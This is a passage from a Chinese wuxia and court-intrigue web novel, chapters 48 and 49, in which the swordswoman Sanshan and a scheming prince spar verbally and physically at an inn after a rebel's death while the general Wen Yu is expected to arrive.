武不群叹了口气,心痛道:“早知道放火之前先把梁荣家里的吃食都扫一遍再说,失策、失策啊!”
三三弯起眼睛笑了笑,嘴角弧度在看到裴景明一行人之后瞬间凝固。
“你怎么在这?”三三飞快拉平了嘴角。
眼下也没有其他人了,裴景明抬手将面具摘下,嘴角勾起的弧度恰到好处:“三三姑娘处理事情的速度很快,我等不及你告诉我消息,所以就先来了。”
“不告诉我郭蒙都说了什么吗?”裴景明将面具拿在胸前,礼貌追问。
“……前边的事情你猜对了,后边的事情他也交代了,”三三三言两语就将郭蒙的供词说了一遍,又道,“其余的也审不出什么来了,师傅三刀六洞放干了他的血,将他绑在椅子上活生生看着自己被烧死,手法的残忍程度跟传说中的梁荣有的一比,应当不会招来怀疑。”
一旁的唐凌倒是没说什么,反倒是冯士威有些惊讶。
裴景明笑了笑,看来那郭蒙也只是个小棋子罢了。
“好,如此就多谢三三姑娘了。”裴景明彬彬有礼道。
三三摆了摆手:“不谢,各取所需罢了,希望日后我找王爷帮忙时,王爷也能痛快答应。”
裴景明笑道:“这有何难?但凡我能做到的,我一定帮姑娘达成目的。”
48. 劝人留下
虽说梁荣死了,郭蒙也死了,可部下的人却依旧扎堆在一起没有散去,三三思虑再三,还是决定让裴景明自己解决,毕竟她现在无兵无权,那些跟着起事的平头老百姓绝大部分都是农民,也不是前朝的臣子,她说话不管用。
三三本来要和武不群回县里的屋子烘饼吃,愣是被冯士威拉着给拐到了琼楼。
“大哥,我瞧您这刀法实在了得,能不能教小弟几招啊?”冯士威满脸殷切地看着武不群。
后者环抱双臂,似笑非笑:“你力气巨大,双刀流使得不错,且在战场杀敌,用不着精通武艺。”
冯士威边拉着武不群上衣衣摆,边连连摇头:“大哥此言差矣!我虽力气大,但若是车轮战,体力消耗得也快,我这年纪也逐渐上来了,体力跟不上啊,想着还是得学点刀法,要求也不高,能千军万马中取敌首向上人头那种就行。”
武不群哈哈大笑起来,竖起食指指了指天:“天快黑了,你回去洗洗睡吧,梦里什么都有,你说你是江湖第一刀客都没人敢反驳你。”
冯士威羞得脸都红了,但依旧缠着武不群问东问西,没办法,先前在济民堂那一战打的,实在是让冯士威心服口服。
唐凌也有心想再跟武不群切磋切磋,亦步亦趋地跟在冯士威身后,虽然没有插话,但脸上那期待无比的表情出卖了他。
裴景明看着这醉心武艺的两人,暗自好笑地摇了摇头。
见身侧的三三一直不说话,便侧头问道:“三三姑娘师从武师傅?”
三三离他有一个胳膊那么远,一走神就听不清人说话,皱了皱眉:“什么武师傅?”
裴景明向她靠近了两步,耐心地又问了一遍:“三三姑娘你的武艺是跟着武师傅学的?”
三三掀起眼皮飞快看了他一眼:“是。”
“那还真是羡慕姑娘啊,最初教我武艺的师傅还是武师傅的手下败将,没想到三三姑娘竟然能拜江湖第一刀客为师,真是令人又惊讶又羡慕。”
裴景明说话的态度很真诚,可怎么听怎么觉得不对劲。
她向来是个有话直说的性子,便直截了当道:“你这是羡慕还是嫉妒?”
裴景明挑了挑眉,他说话难道茶里茶气的?
“自然是羡慕。”裴景明诚恳道。
三三哦了一声,又道:“可我怎么听着怪怪的?”
裴景明拎着面具带子晃了晃:“那是因为姑娘对我有偏见,所以觉得我说什么都怪,也不会轻易相信我。”
三三点点头,表示他说的对。
裴景明喉头一哽,本来想说的话一下又忘记了。
前面的冯士威一直在叽叽喳喳,吵得三三心烦,她垂头一看脚下有块石头,不大不小,便轻轻踹了一下,结果没想到——
“!!!我——”眼见着自己如花似玉的脸蛋就要戳向地面的碎石,三三手忙脚乱地在空中像个陀螺似的晃了又晃,愣是没让自己摔下,可也没让自己站稳,裴景明倒是反应很快,趁着三三往后摆手的同时,用面具带子套住了三三的手腕,用力一拉就将三三给拉了回来。
三三手腕被缠着,异物感十分强烈,站直了身子边道谢边解绳子:“多谢。”
可裴景明压根不知道怎么套的绳子,三三绕来绕去始终解不开,她抬头看向对方,只见对方微微垂着头,一直盯着她脸看。
“看我做什么?上次教训还不够是吗?”虽说他帮了她,但直勾勾盯着人不太好吧?
裴景明愣了几息,像是才反应过来:“没有,刚刚你脸上有个虫子,我见它飞来飞去,想看它停在哪。”
三三狐疑地摸了摸脸。
裴景明清了清嗓子,抬高手里的面具,绕着三三转了几圈,又低头在她手腕上翻了一会,绳子就解开了。
“??这什么绑法?”三三十分好奇。
裴景明神秘一笑:“这可是我自己的独家秘技,不告诉外人的。”
“……”三三克制再克制,终究还是没忍住翻了个白眼。
裴景明笑了笑,又问:“姑娘明日便要回东京城了吗?”
三三掐指一算,从出发到鹤县再到解决梁荣,一共花了两日,明日回去的路上还要花时间,也不知道程书给她和老板娘说了几日的假,还是趁早回去吧。
她点点头:“是的,梁荣已经死了,冯士威既然是你的人,收拾残局自然是你们来。”
裴景明颔首,表示她说的对,但又问:“那姑娘要不要留下来看看呢?”
看什么?三三眉头紧锁,起事的人里边只有少量的前朝人,都跟在梁荣身边,就是刚刚在院子里围堵截杀的那群,眼下都被杀光了,剩下的人都是普通人,她留下来有何意义?
裴景明似是看出了她的疑虑,主动解释道:“我见三三姑娘如此古道热肠,竟然专程为着鹤县一事过来,想必也是想为鹤县之乱出点力吧,眼下这梁荣死了,鹤县的百姓却还没死光,安置百姓也得时间,既然姑娘来都来了,不然留下来帮帮忙?”
二人的距离因着刚刚三三差点摔倒而接近了不少,眼下三三默不作声地往边上又靠了几步,平日里爱笑的月牙眼此刻十分警惕地看着对面的翩翩公子。
三三为什么会出现在这,裴景明心知肚明,可他偏偏不点破,三三只得揣着明白装糊涂。
“王爷你想多了,我之所以会和师傅来这,是因为有个亲戚在这,听闻鹤县一事,便想着来这里接走那个亲戚,没想到亲戚没接着,但是打听出了祸乱的贼人,之前在街上看到了冯士威,师傅是个江湖人,专爱杀这种荼毒百姓的恶人,于是我们便跟了上去,谁料竟然误打误撞遇到了王爷,还知道了郭蒙这个背后小人,这才想着一并都杀了。”
三三含蓄道:“杀人并非我师徒二人来这的目的,只是凑巧。”
啪、啪、啪,裴景明拎着面具鼓起了掌,微笑道:“姑娘真是好口才,之前在济民堂并没有回答的问题眼下是说的有鼻子有眼,那姑娘不找亲戚了吗?用不用我帮忙?”
“……不用,亲戚没接着,找到她的住处发现人去屋空,想来是逃难去了。”
哪有什么亲戚,都是借口罢了,非要追问到底烦不烦。
裴景明揶揄道:“噢,逃难去了啊,说不定是去了黄泉路呢。”
他映射的是梁荣。
明明双方都是鸡吃萤火虫,非要扯别的恶心人是吧?
三三吸了吸气,弯起嘴角:“这谁知道,不然王爷去黄泉路帮我打听打听?”
哟,把人惹急了。
裴景明眼里染上笑意:“这我可去不了,时候未到。”
“说不定姑娘的亲戚只是躲了起来,姑娘都愿意为了这个亲戚赶来鹤县,难道就不想见见吗?”裴景明一本正经道,“说不准姑娘留下待个两天就能找到亲戚了。”
“……此事得和师傅商量,我说了不算。”三三算是明白了,只要她不留下来,裴景明依旧会找各种理由死缠烂打。
她忍不住侧身打量起了这个人,长得怪好看的,怎么就不干人事呢?
裴景明大大方方地任她看,一点都不在意。
日暮西山,远处天
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边还剩下点橘红,边上的云染成了橘色的蛋黄,待众人回到琼楼时,那橘色才渐渐消散。
冯士威招呼着众人喝酒吃肉,三三本想挨着武不群坐的,结果被冯士威一屁股给挤走了,武不群左手边是冯士威,右手边是唐凌,被二人团团围着灌酒。唐凌边上是裴景明,目前还剩下两个座位,三三心想算了,还是挨着冯士威坐吧,结果她歪头一看,那冯士威喝酒的动作十分夸张,一碗酒拿起又放下,起码能溅出半碗。
三三犹豫再三,还是决定坐裴景明旁边那个位置,至少这人吃饭斯文。
“姑娘不喝酒吗?”裴景明右手拎起酒碗饮了一口,见三三酒碗里的酒丝毫未动,下意识就问了句。
三三嗯了一声之后就不理他,十分专心地盯着面前的红烧鱼、鸡汁焖笋埋头吃,两颊被塞得满满的,活像个小仓鼠。
裴景明也不知怎么的,见她如此爱吃那笋,仿佛是什么了不得的人间美味,竟然鬼使神差地探手夹了一筷子,可他平日里甚少吃笋的。
待他反应过来时,嘴巴里的笋已经嚼的差不多了。
确实还可以,他想。
虽说现在已经快要春天了,但春笋向来稀贵,那碟子鸡汁焖笋的量也并不多,好在其他三个人都顾着喝酒,没人跟她抢笋。
三三吃腻了红烧鱼,碗里的饭还剩一口,边伸出筷子想要再夹点笋就饭吃完,结果她筷子刚一落下,边上竟然还出现了另一双筷子。
三三左手边没人,右手边是裴景明,这双筷子想也不用想是谁的。
只一瞬她便率先松开了筷子,没想到那双筷子也是。
她放下筷子,侧头看向裴景明:“王爷吃吧,我已经吃完了。”
裴景明挑了挑眉,也不客气,夹了最后两块笋到碗里吃的非常香。
武不群酒力向来很好,虽然算不上千杯不醉,但连喝十来坛绝对不在话下,可此刻他已面上绯红一片,双眼迷离,看对面的三三晃成了好几个人影。
他抬着手在眼前挥了挥,大着嘴巴道:“三三,别动,你晃得为师眼花!”
“……”三三无语凝噎,看向武不群边上两个也醉得不清的汉子,当即道,“你醉了师傅,赶紧睡吧。”
仿佛是师徒二人之间早已约定好的暗号,三三话音一落,武不群立马十分配合,额头直接对着桌子“哐啷”一声倒下。
冯士威手里还端着半茬子酒,见武不群倒下了,还伸手用力地推了推他肩膀,晃着脑袋、大着舌头道:“武师傅!武师傅!这里不让睡觉啊!”
“……”三三实在无语,看向侧边还在优雅吃饭的裴景明,“你不管管?”
裴景明将鱼肉放进嘴里,细嚼慢咽了好一会才道:“他们已经喝上头了,管不了,左右今晚无事,便让他们喝个够吧。”
三三鼓了鼓腮帮,又问:“那现在怎么办?师傅醉了,我怎么带他回去?”
裴景明笑了笑:“这里房间多得很,随便挑一个就行。”
他明摆着是故意不拦着唐凌和冯士威,好让他二人一直给武不群灌酒,待武不群醉了,三三一个人是带不回去醉鬼的,只能留在琼楼过夜。
今日留下了,明日三三还想再走,裴景明也有的是法子让她留下。
三三无法,只好起身去拉武不群,可武不群醉成了一摊烂泥,三三如何能拉得动?她费劲巴拉地扯着武不群的胳膊,扯了好半天愣是没将人给扯起来,反倒把自己弄得满头大汗。
裴景明饶有兴趣地看了半天,最后十分好心地过来搭把手:“来,我帮姑娘。”
49. 温毓抵达
裴景明虽然看起来挺瘦弱的,可手一搭上武不群肩膀,稍微使点劲就把人给拎了起来,扛是能扛动,可太费力了,武不群体格也不小,思忖片刻后,裴景明决定还是拖着人回去。
他一手绕过醉鬼的肩膀,一手搭在自己身上,转个身就往门外去,三三手里抱着鸿铭,颠颠地跟在他身后,本来还以为武不群是装醉,结果这人一路上都没有睁开过眼,三三这才相信他是真醉了。
裴景明将人甩上床榻之后累得不行,但三三还在一边,他硬是若无其事地整了整衣摆,看着三三忙前忙后,还自觉地腾出了位置,跟随的视线里写满了忙完了就快点道谢几个大字。
三三拉过被子给武不群盖好,又将鸿铭搁在床边,拍了拍手才回过身跟裴景明道谢。
而后者面上带笑,丝毫不以为意,仿佛只是件小事,十分满意地出去了。
武不群已经睡死过去了,要不要留下帮忙的事情也只能等明日再询问他的意见了。
三三出去将门关好,准备再隔壁寻个空房歇下,没成想刚一拐角就被裴景明吓了一跳。
“你要死啊!为什么在这里吓我!!?”三三本就是个易受惊的体质,虽然平日里看着十分大胆,可只有她自己知道,她胆小得要死。
裴景明脑袋靠在门上,被三三的惊喊也吓了一跳:“我没想吓你,我只是一回去就被他俩拉着喝酒,只能出来了,刚停在这里没多久。”
三三闭了闭眼,试图压下情绪,缓了好一会才哦了一声,旋即头也不回地往另一边去找空房了。
裴景明也跟了上去。
“姑娘要找空房吗?”
三三不理他,这人怎么跟在东京城里一点都不一样?不是挺高冷的吗?
“嗯。”
裴景明将人叫住,拍了拍面前的房间:“这间如何?”
三三停下脚步,裴景明立即伸手推开了门。
瞧着挺干净的,床榻被褥一应俱全,桌上还有茶水,三三探手摸了一下壶身,发现竟然是温热的。
这间房,原本是给裴景明安排的吧。
三三收回手:“这房挺好,但种种布置表明这房是给王爷准备的,我还是另寻他处吧。”
裴景明见她要出门,伸手隔空横腰拦了一下:“诶,姑娘,这房虽然是为我准备的,可我今夜有事,不住这,所以这房给你住也算物尽其用了。”
三三可不信天上有白掉的馅饼,她狐疑地打量着对方:“你又想和我谈什么合作?”
裴景明弯了弯唇:“没有合作,单纯就是想让这好不容易收拾出来的房子能有人住。”
他话里话外一片坦荡,三三却想起了之前他说的留下帮忙。
“你该不会想用这间房来换我留下帮你收拾鹤县吧?”
裴景明忍不住笑出声:“真不是,况且,就算我不请求姑娘留下,姑娘明日依旧会留下。”
“??什么意思?”三三眼眸紧紧盯着对方,视线之凌厉仿佛要把裴景明的脸原地开花,好看清里面究竟埋了什么算计。
裴景明收回手,似笑非笑道:“明日,温毓就要到了。”
温毓到了就到了,关她什么事?虽然二人是表亲,就算温家知道了,可毕竟明面上没有相认。
三三垂下眼眸,裴景明此前就提过温毓要来鹤县,如今再次提起,不得不让三三多想,是试探还是早已确定三三和温家的关系?
“温毓是温将军家的吧?我此前去温将军府上送酒,听闻过温将军有两个公子,可他来不来,与我何干?”三三面色如常道。
裴景明微微低下头,须臾动了下身子往三三靠去,后者像受惊的猫一般一下就拔出了剑横在身前。
“真的没有干系吗?”裴景明低头看见那剑身上倒映着自己的双眸,他错开视线往剑的主人身上看去。
“能有什么——”三三话还没说完,“唰”地一声,剑身被一把推回了剑鞘,裴景明的大手覆在她白皙的手背上,用力按着不让她再次拔剑。
裴景明高她差不多一个头,此时被人如此强势靠近,三三竟然生出了点慌乱。
她下意识眨了眨眼睛,仰起头凶巴巴道:“你干什么?!放手!”
裴景明不仅不放,反而更加用力了,一步一步慢悠悠地继续靠近三三,三三被逼无奈,只好频频后退。
“哐啷”一声,三三腰抵在了那朱红门上。
裴景明趁势,抬起另一只手抵在了三三脑袋旁边的门上,他垂下眼帘,面上依旧是那幅似笑非笑的表情,低声问道:“真的没干系吗?”
三三这下是真恼火了,她用力踹了一下对方的小腿,试图把人给踹开,可裴景明跟铁做的一般,仿佛不知道疼似的,纹丝不动,如同一尊雕像,又高又大,三三抬头除了看他脸还是看他脸。
三三干脆一不做二不休,恶狠狠盯着裴景明那张俊脸,磨了磨牙之后,嘴一张就咬了他撑在门上的胳膊。
裴景明嘶了一声,疼得紧缩眉头,可依旧不肯放手。
三三见状,嘴下更加用力了。
两人就这么无声对峙着,谁也不肯先松手。
约莫过了半盏茶的时间,走廊里传来了一阵乱七八糟的脚步声,三三嘴里咬着对方胳膊不肯松口,睁着大眼瞧廊上来人是谁。七八分醉的唐凌正四处找茅厕,他以为裴景明早就歇下了,没想到竟然在他门前看到了两道人影,他虽然醉了,可也不算醉得没了理智,他七扭八拐地上前:“喂!你们两个干什么呢?!”
三三看清了人,也不怵,继续咬,大有一种你不放开我我绝对不可能先松口的倔强。
裴景明感觉被人叼住的那块肉已经麻痹了,压根脱离了他的胳膊,他垂着头,商量道:“这样,我数三个数,我们同时松手如何?”
三三掀起眼皮看他两眼,点了点头。
于是二人十分默契地在第三个数落下时,双双松口松手。
唐凌早已认出了他二人,但偏要借着装醉来搞事:“王爷,你跟三三姑娘大半夜的在门口做什么呢?”
三三望了望天,这才天黑没多久,算哪门子的大半夜?
不跟醉鬼一般计较。
裴景明拉起袖子,见那牙印十分之清晰深刻,一时之间又气又好笑:“姑娘真是伶牙俐齿啊。”
三三龇了龇牙,表示再惹我下次肯定让你见血。
裴景明无奈地笑了笑,率先出门:“天色不早了,姑娘早点歇息吧。”
说罢还十分贴心地帮三三给关好了门,唐凌就站在门口,亲眼目睹了裴景明变化莫测的脸色,心头大骇,这是被人给夺舍了?以前那些贵女小姐看都不看一眼,怎么偏偏对这三三如此不同?!
裴景明懒洋洋地扫了他一眼:“醉了就赶紧歇下,明日温毓到之前,务必让冯士威整好底下的人,改收编的收编,该遣回家的遣回家。”
唐凌捂着头,哎哟哎哟个不停,表示自己已经喝醉了,听不清他的交代。
第二日卯时刚过,冯士威就赶着露水重重整顿了底下的人,唐凌感觉自己刚睡下就被人给拎了起来。
冯士威:“唐兄,我这边的人已经整顿得差不多了,待温毓一来便可移交,只是梁荣那边还是一盘散沙,王爷昨日怎么交代的你?”
唐凌躺在床上,胳膊捂着眼,头疼又不耐烦:“说改收编的收编,该遣回家的遣回家。”
冯士威站在床头为难道:“可是梁荣那边的人除了平头老百姓,还有一些是梁荣所谓的兄弟,那些人恐怕……”
唐凌一把坐起了身子,掀开被褥,红着眼睛道:“那就都杀了!”
冯士威也不知道他说的是真的还是气话,赶紧洗了块热帕子递给他:“真假啊?”
唐凌脸上敷着热帕子,热气袅袅敷在脸上格外舒坦,宿醉的头疼缓解了不少,他语气也好了不止一星半点:“当然是假的,我去问问王爷。”
他反手将帕子扔回冯士威身上,蹬着靴子就出门。
“王爷,梁荣的那些兄弟
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怎么处理?”唐凌见裴景明的房门大开,便知晓他已经醒了,但一见到裴景明端坐在那喝茶,脑子里就不由自主想起了昨晚见到的场景。
“那些人,交给三三处理。”裴景明轻轻吹了吹手里的茶盏。
唐凌疑惑道:“可是她不是今日就要回东京城了吗?”
裴景明慢悠悠喝了口茶:“温毓再过片刻就到了,冯士威底下的人好处理,可梁荣那边的比较棘手,你觉得她会不会管呢?”
唐凌其实并不知道三三的身份,也没有什么猜想,于是很是直白道:“她为啥要管啊?她就是个普通老百姓啊,虽说拜了江湖第一刀客做师傅,可在江湖上也没有名望,既无官职在身,亦无名声威望,她为啥要自己给自己找事情干啊?”
裴景明没理他,只道让他在城外去等温毓。
唐凌丈二和尚摸不着头脑,倒也没多问,领了命就去城外。
三三打开门,闭上眼用力吸了下空气,结果一睁眼就被裴景明给吓了一跳。
她扶着门上的手霎时收了回来,恶狠狠警告道:“王爷,你再这样无声无息吓我,下次定会被我打得屁滚尿流!”
裴景明其实站在廊上,与那朱门隔了一段距离,他实在想不明白这怎么又想到了她。
“姑娘早啊,你师傅已经醒了,正在一楼吃早饭呢,一起下去吗?”
三三将门关好,昨晚入睡前她翻来覆去想了好几遍,从他往日的话语、动作中逐步推断出,裴景明应当是基于她的长相进而怀疑她跟温家有关系,而温家子嗣并不多,所以他应当是怀疑她是温将军妹妹的孩子。
三三入睡时便打定了主意,今日不论裴景明说什么,务必要离开鹤县。
“好,走吧。”三三点点头。
武不群正忘我地啃着烙饼和肘子,那肘子啃得十分之干净,三三略带嫌弃道:“一大早就吃这么油腻的,不怕闹肚子吗?”
武不群饮了一口茶,摆了摆手:“徒儿你这就不懂了,今日我们要回东京城,路上肯定没什么好吃的,当然要趁这一顿吃点好的啦。”
“……之前吃饼的时候你也是这么说的。”三三无语地给自己盛了碗豆浆。
裴景明坐一边,好整以暇地看着师徒俩斗嘴。
武不群给三三拿了好几个肉包搁碗里:“多吃点肉,这两天可是废了劲了。”
“……好。”
裴景明剥了个鸡蛋,非常刻意地问道:“武师傅今日就打算回东京城了吗?”
武不群啊了一声:“是啊,我们……”
昨夜他喝醉了,三三压根没来得及跟他串口供,当即一把踩住了武不群的脚:“我们亲戚都不在这,自然是要回去了,说不定她已经去东京城找我们了。”
武不群脸色几变,愣是接了句:“是啊是啊。”
裴景明哦了一声,慢条斯理、十分优雅地吃鸡蛋,待完整咽下后才继续道:“温毓已经到城门了,冯士威今早去整顿下边人,等会就可以交接了。”
“不过冯士威说,梁荣还有好几个兄弟,誓死不肯归顺,冯士威无法,只好回来了。”裴景明像是无意说起,可在场的人都心知肚明,他是故意的。
“如此,温毓就得自己率兵去杀敌了。”
三三盯着碗里的豆浆,没说话。
所谓的好兄弟,大概率就是前朝臣子,他们不一定认得温毓,但一定能凭着那张脸认出温毓的身份。
此番前来鹤县就是为了收拾梁荣这些前朝旧臣,眼下梁荣死了,那剩下那些人怎么办?任由温毓杀了吗?
三三借着给武不群拿鸡蛋的动作看了一眼自家师傅,见武不群什么都没说,心下也没了主意。
她泄了口气,索性直接让温毓一并收拾了算了,反正都不听她的,留着也是祸害。
她刚把鸡蛋放下,冯士威便火急火燎地冲了进来,连大气都没喘顺就急切道:“王爷!不好了!梁荣的那些兄弟不知道从哪里得来的消息,在城外三里处埋伏了温毓!”